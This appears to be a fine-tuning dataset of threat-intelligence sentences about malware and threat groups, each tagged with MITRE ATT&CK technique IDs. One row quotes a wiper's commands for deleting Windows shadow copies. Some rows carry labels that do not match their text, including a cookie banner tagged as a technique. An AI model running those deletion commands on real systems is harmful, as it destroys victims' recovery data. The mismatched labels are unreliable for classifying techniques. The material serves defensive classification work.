"To do so, this malware attempts to spread to other systems on network using what are likely stolen administrator credentials. This is again similar to the 2012 Shamoon attacks, where compromised but legitimate credentials obtained in advance of the attacks were also hard coded into the malware to aid in its propagation. Disttrack also has the ability to download and execute additional applications to the system, as well as remotely set the date to start wiping systems",['T1569.002 - System Services: Service Execution'],fine_tune
"This data theft module appears to have been compiled in May 2015 and is designed to watch removable drives and collect files from them, depending on a set of rules defined by the attackers. The stolen data is copied into a hidden directory as “%MYPICTURES%\%volume serial number%“, from where it can be exfiltrated by the attackers using one of the AZZY implants","['T1074.001 - Data Staged: Local Data Staging', 'T1025 - Data from Removable Media']",fine_tune
"The implant consists of a modified Cisco IOS image that allows the attacker to load different functional modules from the anonymity of the internet. Each of the modules are enabled via the HTTP protocol (not HTTPS), using a specifically crafted TCP packets sent to the routers interface. The packets have a nonstandard sequence and corresponding acknowledgment numbers. The modules can manifest themselves as independent executable code or hooks within the routers IOS that provide functionality similar to the backdoor password",['T1205 - Traffic Signaling'],fine_tune
"Spearphishing Attachment (ATT&amp;CK T1193) is one of the most used Initial Access techniques used by ransomware families as in Sodinokibi. Attackers use spam emails with an attached MS Office Word document including a malicious macro to download the ransomware to the target system. In order to show the lifecycle of Sodinokibi ransomware, we analyzed a Microsoft Word document. Sodinokibi is a “Ransomware-as-a-Service (RAAS) malware, so its distribution methods vary depending on the attacker distributing it",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Collects information about the infected system, network, drives, and installed applications. Saves the collected information to a file named “info” in “%appdata%\Micorosoft\Templates” and sends it to the C2",['T1082 - System Information Discovery'],fine_tune
"As can be seen from the Table 2 above, Kazuar has an extensive command set, many of which are similar in functionality as other backdoor Trojans. However, a few commands specific to Kazuar appear to be unique and are worth further discussion",['T1029 - Scheduled Transfer'],fine_tune
Adversaries aiming to exfiltrate large amounts of data will often use one or more systems or storage locations for intermittent storage of the collected data. This process is called staging and is one of the of the activities that NCC Group and Fox-IT has observed in the analysed C2 traffic,"['T1560.001 - Archive Collected Data: Archive via Utility', 'T1074.001 - Data Staged: Local Data Staging', 'T1074.002 - Remote Data Staging']",fine_tune
"The employee receiving this email downloaded and opened the document, which contained malicious code. Once the code was executed, a persistence mechanism was installed and a malicious password harvester was executed. In this instance, once the malicious code was executed, it dropped a malicious binary (DLL) similar to CobaltStrike, which subsequently created and executed additional files. The actor used the initially compromised system to escalate privileges and move laterally across additional systems on the network",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"FANCY BEAR adversary used different tradecraft, deploying X-Agent malware with capabilities to do remote command execution, file transmission and keylogging. It was executed via rundll32 commands such as","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059 - Command and Scripting Interpreter', 'T1218.011 - Signed Binary Proxy Execution: Rundll32']",fine_tune
"Lucifer is quite powerful in its capabilities. Not only is it capable of dropping XMRig for cryptojacking Monero, it’s also capable of command and control (C2) operation and self-propagation through the exploitation of multiple vulnerabilities and credential brute-forcing. Additionally, it drops and runs EternalBlue, EternalRomance, and DoublePulsar backdoor against vulnerable targets for intranet infections",['T1210 - Exploitation of Remote Services'],fine_tune
"We have rounded up 220 samples of the CARBANAK backdoor and compiled a table that highlights some interesting details that we were able to extract. It should be noted that in most of these cases the backdoor was embedded as a packed payload in another executable or in a weaponized document file of some kind. The MD5 hash is for the original executable file that eventually launches CARBANAK, but the details of each sample were extracted from memory during execution. This data provides us with a unique insight into the operational aspect of CARBANAK and can be downloaded here",['T1055.002 - Process Injection: Portable Executable Injection'],fine_tune
The execution chain ensures that persistence is set on the affected system using a .lnk file in the Startup directory. The .lnk file shown in Figure 17 opens the malicious VBS dropped on the system,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"In the final stage of its attacks, the TeleBots group always used the KillDisk malware to overwrite files with specific file extensions on the victims’ disks. The KillDisk malware used in the first wave of December 2016 attacks, instead of encrypting, simply overwrites targeted files",['T1485 - Data Destruction'],fine_tune
"If that configuration is not available, it utilizes a hardcoded configuration in the binary. The tool uses a custom binary protocol over sockets for its command and control communication with the GUP Proxy Tool and all transferred data is encrypted using a modified version of RC4 encryption",['T1095 - Non-Application Layer Protocol'],fine_tune
"The implant receives HTTP-based commands from a control server and parses the HTTP Content-Type and Content-Length from the HTTP header. If the HTTP Content-Type matches the following value, then the implant executes the command specified by the control server",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"The compressed_data field is compressed using the common ZLIB compression algorithm. Additionally, in the event data is being sent via HTTP rather than HTTPS, the following additional encryption algorithm is applied to the POST data","['T1560.002 - Archive Collected Data: Archive via Library', 'T1573.001 - Symmetric Cryptography']",fine_tune
The macro creates a copy of the files with their proper extensions using Extensible Storage Engine Utilities (esentutil.exe) with the following commands (esentutil.exe is also a legitimate program that is pre-installed in Windows,['T1036 - Masquerading'],fine_tune
"At the second stage, the attackers remotely connected to the device and scanned the local network seeking to gain access to public shared folders, web servers, and any other open resources. The aim was to harvest information about the network, above all, servers and workstations used for making payments. If the firewall blocked access from one segment of the network to another, but allowed a reverse connection, the attackers used a different payload to build tunnels",['T1135 - Network Share Discovery'],fine_tune
"Before being deleted, the DLL executes a string decoding routine that is designed to execute for about a minute, spiking central processing unit (CPU) usage for the regsvr32.exe process. Once the strings are decoded, the More_eggs components are decrypted, dropped to the system (normally in the %APPDATA%\Microsoft\ or %ProgramData%\Microsoft\ directories) and executed",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The very narrow and specific set of email identifiers and organizations observed by CTU researchers strongly indicate that the campaign is focused on U.S. Based on the identified targets, CTU researchers assess with low confidence that a Russian government-sponsored threat group may be responsible for this campaign. Third-party researchers attribute this campaign to the Russia-based IRON RITUAL threat group (also known as NOBELIUM and APT29). IRON RITUAL has been linked to the SUNBURST malware used in the SolarWinds supply chain attack",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"Then the article describes how, since the beginning of 2019, the group has been leveraging self-extracting archives to run code","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32', 'T1027 - Obfuscated Files or Information']",fine_tune
"Finally, the loader spawns cmd.exe to perform a series of reconnaissance commands to obtain information about the network and domain","['T1482 - Domain Trust Discovery', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",fine_tune
The checks are done in an obfuscated way within the jumble of the code that the malware has (in the virtual machine used here the Spanish language of Spain (es-ES) was used; it is the code 0xC0A that appears in the stack in the screenshot,['T1082 - System Information Discovery'],fine_tune
"Gather the names of all services running on the system. Gather a list of the names of all processes running on the endpoint. Get Microsoft Version Number from the registry, specifically from reg key/value: HKEY_CLASSES_ROOT\Excel.Application\CurVer||Default. The instrumentor script also enables all macros for Office by setting the VBAWarnings registry value to 0x1 at: HKCU\Software\Microsoft\Office\&lt;OfficeVersionNumber&gt;.0\Word\Security\VBAWarnings = 0x1",['T1012 - Query Registry'],fine_tune
It also creates a folder in C:\SDRSMLINK\ and shares this folder with the rest of the network,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1564.006 - Run Virtual Instance']",fine_tune
"In october 2016 Group-IB published the report about the Cobalt group. Now, a year later, this group is continuing to attack banks, which is reported monthly by Group-IB's Threat Intelligence team. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. The former module is installed on a system that has access to the Internet and provides interaction with the C&amp;C server using HTTP/HTTPS/DNS protocols. Another module is installed even in systems that do not have Internet access, as, using SMB protocol (which is typically used within a local network), the SMB module is controlled via infected computers running the HTTP/HTTPS/DNS module. For interaction on HTTPS protocol, HTTP protocol profiles may be used with an indicated SSL certificate, but for data exchange on the DNS protocol, it requires DNS A, AAAA, and TXT records. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed",['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
"We recently observed an instance where the FlawedAmmyy downloader was not digitally signed (FlawedAmmyy RAT payload is still signed, however). It could be a blip — perhaps a one-off — but it's still notable",['T1553.002 - Code Signing'],fine_tune
"Its sole purpose is to load setup.dll using LoadLibraryA. If not, it will attempt to obtain such privileges using token impersonation if the version of Windows is below Windows 7 build 7601; otherwise it will attempt different UAC bypass techniques, allowing installation of the payload loader into one of",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"Most of the infected sites use the TYPO3 CMS (see: https://typo3.org/), which could indicate the attackers are abusing a specific vulnerability in this publishing platform",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"In the past, Emissary Panda has used many ways to target their victims, with the most notable being the exploits from the Hacking Team leak. Usually, the delivered payload is either the well-known ‘PlugX’ or ‘HttpBrowser’ RAT, a tool which is believed to have Chinese origins and to be used only by certain Chinese hacking groups",['T1027 - Obfuscated Files or Information'],fine_tune
"Both RATs provide a wide range of functionality on the target machine, ranging from collecting files, watching the screen, to capturing passwords and keystrokes. The RATs also enable the operator to remotely delete files, and spy on the computer user via the microphone or webcam",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"A copy of the initial EXE for GuLoader is made persistent, then the original is deleted from the infected user’s AppData\Local\Temp directory where it was originally saved. The GuLoader EXE is persistent through the Windows Registry under the following key",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"And, of course, the attackers added the ability to control the infected machine. The code receives a binary blob official M.E.Doc server, decrypts it using the Triple DES algorithm, and, afterwards, decompresses it using GZip. The result is an XML file that could contain several commands at once. This remote control feature makes the backdoor a fully-featured cyberespionage and cybersabotage platform at the same time",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"mailsearcher32 module This module searches the infected system’s files to gather email addresses for information-stealing purposes. Emotet, according to previous research by Brad Duncan, is also responsible for delivering this password-grabbing Trickbot variant, as well as Azorult, to users","['T1083 - File and Directory Discovery', 'T1087.003 - Email Account']",fine_tune
"Otherwise, it will add the binary’s path to the Software\Microsoft\Windows\CurrentVersion\Run key with —Update as a parameter",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Once an attacker has admin access to a Domain Controller, the KRBTGT account password hashes can be extracted using Mimikatz",['T1550.003 - Use Alternate Authentication Material: Pass the Ticket'],fine_tune
"The persistence mechanisms also change, offering the options to use XDG Autostart Entries and crontabs for persistence. We’ve waxed lyrical about crontabs before, but we haven’t explored XDG Autostart Entries in detail",['T1547.013 - XDG Autostart Entries'],fine_tune
"browser history from Firefox, Google Chrome, Microsoft Edge and Internet Explorer; - usernames and passwords stored in the listed browsers; - email accounts from Microsoft Outlook and Mozilla Thunderbird","['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1087.003 - Email Account']",fine_tune
"After using RTF files, the group started using self-extracting (SFX) archives that use common document icons in an attempt to further mislead their victims. It was briefly documented by Threatbook (in Chinese). When run, these self-extracting RAR files drop and execute DLL files (with a .ocx extension) with the final payload being the previously documented {A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll. This section will describe the technique and what they have altered to achieve their goal",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"H1N1 has added a plethora of new functionality in comparison to earlier reports. Throughout this blog series we will be analyzing the capabilities of H1N1 including: obfuscation, a User Account Control (UAC) bypass, information stealing, data exfiltration, loader/dropper, and self-propagation/lateral movement techniques used by this variant.1,2",['T1027 - Obfuscated Files or Information'],fine_tune
Attempted to blend in with a file name that matched the system name it resided on - Configured for persistence via a crontab entry with a @reboot line - Used likely compromised infrastructure for C2,"['T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1036 - Masquerading']",fine_tune
"RAR archiving – files are transferred to staging servers before exfiltration. They may be encrypted or compressed, to make them easier to extract. Certutil – a command-line utility that can be exploited and used for various malicious purposes, such as to decode information, to download files, and to install browser root certificates. Adfind – a command-line tool that can be used to perform Active Directory queries. Csvde – can be used to extract Active Directory files and data. Ntdsutil – can be used as a credential-dumping tool. WMIExec – can be used for lateral movement and to execute commands remotely. It can be used to find information and execute code, and is frequently abused by malicious actors",['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
"In order to collect even more information, from time to time the Zebrocy operators upload and use dumpers on victims’ machines. The current dumpers have some similarities with those previously used by the group. In this case, Yandex Browser, Chromium, 7Star Browser (a Chromium-based browser), and CentBrowser are targeted, as well as versions of Microsoft Outlook from 1997 through 2016",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"It also moves the JS file to ‘Shell.NameSpace(28)’ (‘ssfLOCALAPPDATA’ – ‘\AppData\Local’) and creates a scheduled task to use WScript to execute the file at every user log on. The installation routine then copies the keylogger to the registry, sets the uid + 0 flag to 1 to indicate that installation was completed, and executes the scheduled task it created",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"BADFLICK: a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command and control (C2) configuration. China Chopper: a simple code injection webshell that executes Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime",['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
"Then, the malware loads an executable file from WM_DSP resource and runs a shellcode that contains approximately1500 bytes (after decrypting it with XOR 0x45",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Kimsuky uses memory dump programs instead of using well-known malicious software and performs the credential extraction offline. It can be used as a general process dump utility that actors can embed in other scripts, as seen by Kimsuky’s inclusion of ProcDump in the BabyShark malware. The victim is then redirected to the official Chrome Web Store page to install a Chrome extension, which has the ability to steal cookies and site passwords and loads a JavaScript file, named jQuery.js, from a separate site (see figure 3).[51(link is external","['T1204.002 - User Execution: Malicious File', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers']",fine_tune
The impact of finding this implant on your network is severe and most likely indicates the presence of other footholds or compromised systems. This backdoor provides ample capability for the attacker to propagate and compromise other hosts and critical data using this as a very stealthy beachhead,['T1556.004 - Network Device Authentication'],fine_tune
InvisiMole is capable of scanning enabled wireless networks on the compromised system. It records information such as the SSID and MAC address of the visible Wi-Fi access points,['T1016 - System Network Configuration Discovery'],fine_tune
"Besides the stolen data, it sends the Windows product name and version, username, computer name, and domain name to the C&amp;C server",['T1082 - System Information Discovery'],fine_tune
The implant has the capability of gathering data from the victim’s system. The following information will be gathered and sent to the command and control server,['T1560.002 - Archive Collected Data: Archive via Library'],fine_tune
The threat actors also collected the files “ntds.dit” and the “SYSTEM” registry hive. DHS observed the threat actors compress all of these files into archives named “SYSTEM.zip” and “comps.zip,['T1560 - Archive Collected Data'],fine_tune
"Malicious Word .doc file Besides the .pps file, the threat actor uses rich text files to deliver the malware. While other researchers have reported that these files exploit CVE-2012-0158, Symantec has also observed CVE-2015-1641 being exploited to drop Backdoor.Steladok","['T1189 - Drive-by Compromise', 'T1203 - Exploitation for Client Execution']",fine_tune
"Quickly after the initial compromise, the operator deploys a tool named ""dog.exe. This malware is written in .NET and its purpose is to monitor hard drive paths and to exfiltrate the information via an email account or an FTP, depending on the configuration. The configuration file is named dconf.json",['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
"Stealth Falcon demonstrates some familiarity with the patterns of behavior, interests, and activities of its targets, suggesting that the operators may have been working with other sources of information about their targets’ behaviors. In addition, Stealth Falcon displayed above-average operational security throughout the campaign. Stealth Falcon also shows familiarity with creating and maintaining a range of fictitious personas, and registering and managing a significant amount of attack and C2 infrastructure with concern for operational security",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"The malware families used in this campaign consisted mainly of malicious documents featuring CARROTBAT downloaders with SYSCON payloads, but also included a new malware downloader Unit 42 has dubbed CARROTBALL",['T1204.002 - User Execution: Malicious File'],fine_tune
"Upon execution, the payload injects into iexplore.exe process and starts encrypting text files and documents of the victim machine",['T1055 - Process Injection'],fine_tune
"GOLD CABIN uses malicious documents, often contained in password-protected archives, delivered through email to download and execute payloads. The second-stage payloads are most frequently Gozi ISFB (Ursnif) or IcedID (Bokbot), sometimes using intermediary malware like Valak. GOLD CABIN infrastructure relies on artificial appearing and frequently changing URLs created with a domain generation algorithm (DGA). The URLs host a PHP object that returns the malware as a DLL file.ToolsTaegis™ XDR Adversary Software Coverage Tool",['T1568.002 - Domain Generation Algorithms'],fine_tune
"Using valid credentials, CARBON SPIDER moves laterally through victim environments using RDP and occasionally SSH. Occasionally, CARBON SPIDER has deployed the legitimate GoToAssist or TightVNC tools to provide redundant control of hosts",['T1078 - Valid Accounts'],fine_tune
The Gamaredon group uses a package that includes a custom Microsoft Outlook Visual Basic for Applications (VBA) project. Using Outlook macros to deliver malware is something we rarely see while investigating malicious campaigns,"['T1106 - Native API', 'T1218.011 - Signed Binary Proxy Execution: Rundll32', 'T1120 - Peripheral Device Discovery', 'T1059.005 - Command and Scripting Interpreter: Visual Basic']",fine_tune
Numerous other similarities are present in addition to system reconnaissance methods; the communication mechanism uses the same user agent string as Gold Dragon,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Proofpoint researchers frequently observe Silent Librarian’s phishing attempts originating from a university unrelated to their current target using a separate, unrelated university’s URL shortening service. This short URL links to a phishing landing page either directly or via one or more third-party sites that eventually lands the user on a clone of a login portal hosted on an actor-controlled server","['T1588.002 - Tool', 'T1598.003 - Spearphishing Link', 'T1608.005 - Link Target']",fine_tune
"The functional payload is a DLL compiled on 2019-03-11 02:23:54, which has two functionalities depending if the binary has a command line argument -daemon or -worker passed to it. The daemon functionality handles the C2 communications portion of the Trojan, which is configured to communicate with 185.12.45[.]134 over HTTPS using the following URL",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"An official website of the United States government . Here’s how you know . Official websites use .gov A .gov website belongs to an official government organization in the United States. Secure .gov websites use HTTPS A lock (LockA locked padlock) or https:// means you’ve safely connected to the .gov website. O’Reilly of the Defense Criminal Investigative Service (DCIS) of the U.S. Among other things, Zhu and Zhang registered IT infrastructure that the APT10 Group used for its intrusions and engaged in illegal hacking operations. The indictment alleges that the defendants were part of a group that hacked computers in at least a dozen countries and gave China’s intelligence service access to sensitive business information,” said Deputy Attorney General Rosenstein. It's going to take all of us working together to protect our economic security and our way of life, because the American people deserve no less. The APT10 Group used some of the same online facilities to initiate, facilitate and execute its campaigns during the conspiracy. Earlier, beginning in or about 2006, members of the APT10 Group, including Zhu and Zhang, engaged in an intrusion campaign to obtain unauthorized access to the computers and computer networks of more than 45 technology companies and U.S. To avoid antivirus detection, the malware was installed using malicious files that masqueraded as legitimate files associated with the victim computer’s operating system. Such malware enabled members of the APT10 Group to monitor victims’ computers remotely and steal user credentials",['T1199 - Trusted Relationship'],fine_tune
"The Iranian attacker group (APT35) and the Chinese attacker group (APT31) targeted campaign staffers’ personal emails with credential phishing emails and emails containing tracking links. As part of our wider tracking of APT31 activity, we've also seen them deploy targeted malware campaigns",['T1598 - Phishing for Information'],fine_tune
"PLEAD and KIVARS, for instance, share the use of RTLO techniques to disguise their installers as documents. Both also use decoy documents to make the RTLO attack more convincing. Another similarity is the use of a small loader component to load encrypted backdoors into memory",['T1204.002 - User Execution: Malicious File'],fine_tune
"Nyetya requires user credentials to spread itself laterally via the PsExec and WMI vectors (which are detailed in the ""Malware Functionality"" section). Talos has identified three ways Nyetya can obtain these credentials. First, credentials can be manually passed in via a command line argument",['T1078.003 - Valid Accounts: Local Accounts'],fine_tune
"Often service accounts are members of Domain Admins (or equivalent) or a Domain Admin was recently logged on to the computer an attacker dump credentials from. Using these credentials, an attacker can gain access to a Domain Controller and get all domain credentials, including the KRBTGT account NTLM hash which is used to create Kerberos Golden Tickets",['T1550.003 - Use Alternate Authentication Material: Pass the Ticket'],fine_tune
"Analysis of the threat actor’s indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs) indicates a correlation with the group known by the names, Pioneer Kitten and UNC757. This threat actor has been observed exploiting several publicly known Common Vulnerabilities and Exposures (CVEs) dealing with Pulse Secure virtual private network (VPN), Citrix NetScaler, and F5 vulnerabilities. This threat actor used these vulnerabilities to gain initial access to targeted networks and then maintained access within the successfully exploited networks for several months using multiple means of persistence",['T1190 - Exploit Public-Facing Application'],fine_tune
"The touch utility sets the modification and access times of files. If any file does not exist, it is created with default permissions. This makes the utility useful to malware in two common scenarios: for creating an empty file at a given path that is later passed data, and/or for changing the timestamp on a file as a means of evasion, also known as “timestomping","['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",fine_tune
"For the rest, we acknowledge that the subdomains used could be indicative of the target; they could also be used to go after third parties that might trust those organizations",['T1583.001 - Domains'],fine_tune
Both backdoors target Arabic-speaking users. They use code that checks if the compromised machine has the Arabic language installed,"['T1614.001 - System Location Discovery: System Language Discovery', 'T1614.001 - System Location Discovery: System Language Discovery']",fine_tune
"Digital delivery of over 3,000 APT1 indicators, such as domain names, and MD5 hashes of malware. Thirteen (13) X.509 encryption certificates used by APT1. A set of APT1 Indicators of Compromise (IOCs) and detailed descriptions of over 40 malware families in APT1's arsenal of digital weapons. IOCs that can be used in conjunction with Redline™, Mandiant's free host-based investigative tool, or with Mandiant Intelligent Response® (MIR), Mandiant's commercial enterprise investigative tool",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
Doki uses a previously undocumented method to contact its operator by abusing the Dogecoin cryptocurrency blockchain in a unique way in order to dynamically generate its C2 domain address. The malware has managed to stay under the radar for over six months despite samples being publicly available in VirusTotal,['T1102 - Web Service'],fine_tune
"Using job opportunities as template is the known method used by Lazarus to target its victims. The documents created by this actor are well designed and contain a large icon for a known company such as LockHeed Martin, BAE Systems, Boeing and Northrop Grumman in the template. In this campaign the actor has targeted people that are looking for job opportunities at Lockheed Martin. Targeting the defense industry and specifically Lockheed Martin is a known target for this actor",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Since this malicious extension is trying to pass for a legitimate Chrome plugin, Grandoreiro’s developer named it “Google Plugin” version 1.5.0. Visually, it adds a square button to the browser window instead of the “cookie” button on the original plugin",['T1176 - Browser Extensions'],fine_tune
"Before writing a keystroke to the log, the malware obtains the current locale identifier using the ‘GetKeyboardLayout’ API. The retrieved value is checked against several hardcoded paths in which the low DWORD is set to 0x0429",['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
"According to the public source data, these airlines use services of the same IT service provider. To help companies detect and hunt for ColunmTK, we have provided a full list of indicators of compromise (IOCs) that we retrieved. It came to light that the cyberattack on this IT service provider affected 4,500,000 data subjects globally, including data related to Air India's customers. ColunmTK Timeline Connections with APT41 Group-IB researchers believe with moderate confidence that the ColunmTK campaign was carried out by APT41, a prolific Chinese-speaking nation-state threat actor. APT41, also known as WICKED SPIDER (PANDA), Winnti Umbrella, and BARIUM, is believed to have been engaging in state-sponsored espionage in China's interests as well as committing financially motivated cybercrimes. APT41 is known for stealing digital certificates for its cyber espionage operations. The IP address was also used to host the Cobalt Strike framework and shared an SSL certificate, b3038101fd0e8b11c519f739f12c7e9b60234d3b, with ColunmTK's IP address 185[.]118[.]166[.]66. Source: Group-IB Threat Intelligence &amp; Attribution Another interesting domain is service[.]dns22[.]ml. In both cases, the files were used to establish persistence in the network. The files are very similar in the way they launch a DLL file as a service and create keys in the registry",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"FireEye Intelligence has previously reported that APT33 has ties to destructive malware, and they pose a heightened risk to critical infrastructure. This risk is pronounced in the energy sector, which we consistently observe them target. That targeting aligns with Iranian national priorities for economic growth and competitive advantage, especially relating to petrochemical production",['T1110.003 - Brute Force: Password Spraying'],fine_tune
"Given Lazarus’ use of a wide array of tools and techniques in their operations, it’s reasonable to assume that the group will continue to use ever-evolving tactics in their malicious activities. Overall, an organization will need multilayered security strategies, as Lazarus and other similar groups are experienced cybercriminals who employ different strategies to get past organizational defenses",['T1189 - Drive-by Compromise'],fine_tune
"After the wiping procedure, the malware tries to delete the shadow copies by running the following commands: vssadmin.exe delete shadows /all /quiet **and **C:\\Windows\\system32\\wbem\\wmic.exe shadowcopy delete. Finally, the malware enters an infinite loop where it sleeps based on the is_alive_loop_interval value from the configuration file and writes ""Meteor is still alive",['T1047 - Windows Management Instrumentation'],fine_tune
"As can be seen above, the script gathers OS version, a session UID and machine ID, all of which it posts to the server for processing",['T1082 - System Information Discovery'],fine_tune
"According to the public source data, these airlines use services of the same IT service provider. It came to light that the cyberattack on this IT service provider affected 4,500,000 data subjects globally, including data related to Air India's customers. Compromise of Air India's network In mid-February 2021, Group-IB's Threat Intelligence &amp; Attribution system detected infected devices that were part of Air India's computer network. It took the attackers 24 hours and 5 minutes to spread Cobalt Strike beacons to other devices in the airline's network. ColunmTK Timeline Connections with APT41 Group-IB researchers believe with moderate confidence that the ColunmTK campaign was carried out by APT41, a prolific Chinese-speaking nation-state threat actor. According to Group-IB's Threat Intelligence &amp; Attribution system, the threat actor has been active since at least 2007. APT41 is known for stealing digital certificates for its cyber espionage operations. The IP address was also used to host the Cobalt Strike framework and shared an SSL certificate, b3038101fd0e8b11c519f739f12c7e9b60234d3b, with ColunmTK's IP address 185[.]118[.]166[.]66. The file is very similar to one used by APT41 in a different campaign described by FireEye researchers. The files are very similar in the way they launch a DLL file as a service and create keys in the registry",['T1569.002 - System Services: Service Execution'],fine_tune
"Additionally, the attackers used a genuine code-signing certificate issued to a Cyprus-based company called Hermetica Digital Ltd",['T1553.002 - Code Signing'],fine_tune
"We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. This is beneficial for the website, in order to make valid reports on the use of their website.Expiry: PersistentType: HTMLrc::cThis cookie is used to distinguish between humans and bots. Expiry: SessionType: HTMLKaspersky Lab2Learn more about this providertest [x2]Used to detect if the visitor has accepted the marketing category in the cookie banner. Expiry: SessionType: HTTPMarketo2Learn more about this provider__cf_bmThis cookie is used to distinguish between humans and bots. Expiry: 2 yearsType: HTTP25 Marketing cookies are used to track visitors across websites. This can be used for marketing purposes. This is used in context with the email marketing service Marketo.com, which allows the website to target visitors via email",['T1078 - Valid Accounts'],fine_tune
"Use automated methods, such as scripts, for collecting data (Automated Collection [T1119]) - Capture user input to obtain credentials and collect information (Input Capture [T1056]) - Collect local systems data from a compromised system (Data from Local System [T1005]) - Take screen captures of the desktop (Screen Capture [T1113]) - Collect data stored in the Windows clipboard from users (Clipboard Data [T1115",['T1005 - Data from Local System'],fine_tune
A service DLL (loaded by svchost.exe) with a ServiceMain function typically named NetSetupServiceMain - A standard non-Service DLL loaded by rundll32.exe,['T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting'],fine_tune
"OSX/Keydnap uses a Tor2Web proxy for command and control. An installed launch agent, icloudproc, is automatically started by the OS, and listens on 127.0.0.1:9050. As noted by ESET, the main backdoor component (icloudsyncd) uses this proxy for communication purposes: “Keydnap is using the onion.to Tor2Web proxy over HTTPS to report back to its C&amp;C server",['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
"Communication over DNS tunnel with a hardcoded domain name and DGA-generated subdomain - C2 traffic encrypted with RSA-2048 - Custom AES-encrypted storage format used to store configuration, plugins, and harvested data - Unique version number for each sample","['T1071.004 - Application Layer Protocol: DNS', 'T1027 - Obfuscated Files or Information']",fine_tune
"Volexity is seeing active in-the-wild exploitation of multiple Microsoft Exchange vulnerabilities used to steal e-mail and compromise networks. In January 2021, through its Network Security Monitoring service, Volexity detected anomalous activity from two of its customers' Microsoft Exchange servers. This vulnerability is remotely exploitable and does not require authentication of any kind, nor does it require any special knowledge or access to a target environment. Additionally, Volexity is providing alternative mitigations that may be used by defenders to assist in securing their Microsoft Exchange instances. This vulnerability has been confirmed to exist within the latest version of Exchange 2016 on a fully patched Windows Server 2016 server. Volexity also confirmed the vulnerability exists in Exchange 2019 but has not tested against a fully patched version, although it believes they are vulnerable. There are two methods to download e-mail with this vulnerability, depending on the way that Microsoft Exchange has been configured. In the case where a single server is being used to provide the Exchange service, Volexity believes the attacker must know the targeted user’s domain security identifier (SID) in order to access their mailbox. Further other notable User-Agent entries tied to tools used for post-exploitation access to webshells. Network Indicators - Attacker IPs . Volexity has observed numerous IP addresses leveraged by the attackers to exploit the vulnerabilities described in this blog",['T1190 - Exploit Public-Facing Application'],fine_tune
"The analyzed sample of NotPetya encrypts the compromised system’s files with a 128-bit Advanced Encryption Standard (AES) algorithm during runtime. The malware then writes a text file on the “C:\” drive that includes a static Bitcoin wallet location as well as unique personal installation key intended for the victim to use when making the ransom payment and the user’s Bitcoin wallet ID. NotPetya modifies the master boot record (MBR) to enable encryption of the master file table (MFT) and the original MBR, and then reboots the system. Based on the encryption methods used, it appears unlikely that the files could be restored, even if the attacker received the victim’s unique key and Bitcoin wallet ID",['T1486 - Data Encrypted for Impact'],fine_tune
"The campaigns use a TrickBot downloader that is signed and uses an icon to pretend it is a Microsoft Word document. When the user double-clicks the file, they are presented with a decoy message box. To avoid suspicion, the decoy message suggests the user should update Microsoft Word or open the file from another computer",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"To achieve privilege escalation within the environment, FIN6 utilized a named pipe impersonation technique included within the Metasploit framework that allows for SYSTEM-level privilege escalation",['T1134 - Access Token Manipulation'],fine_tune
